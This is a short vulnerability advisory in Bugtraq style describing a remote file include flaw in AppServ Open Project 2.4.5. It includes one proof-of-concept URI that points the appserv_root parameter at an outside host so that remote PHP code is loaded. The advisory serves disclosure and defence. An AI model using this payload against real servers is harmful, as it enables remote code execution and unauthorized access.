AppServ Open Project Remote File Include Vulnerability

Bugtraq ID:	16166
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 09 2006 12:00AM
Updated:	Jan 10 2006 11:32PM
Credit:	Xez is credited with the discovery of this vulnerability.
Vulnerable:	AppServ Open Project 2.4.5
Not Vulnerable:

AppServ Open Project Remote File Include Vulnerability

AppServ Open Project is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

This issue affects version 2.4.5; other versions may also be vulnerable.

AppServ Open Project Remote File Include Vulnerability

An exploit is not required.

The following proof of concept URI is available:
http://www.example.com/appserv/main.php?appserv_root=http://www.example.com/

AppServ Open Project Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

AppServ Open Project Remote File Include Vulnerability

References:

• AppServ Open Project Home Page (AppServ Open Project)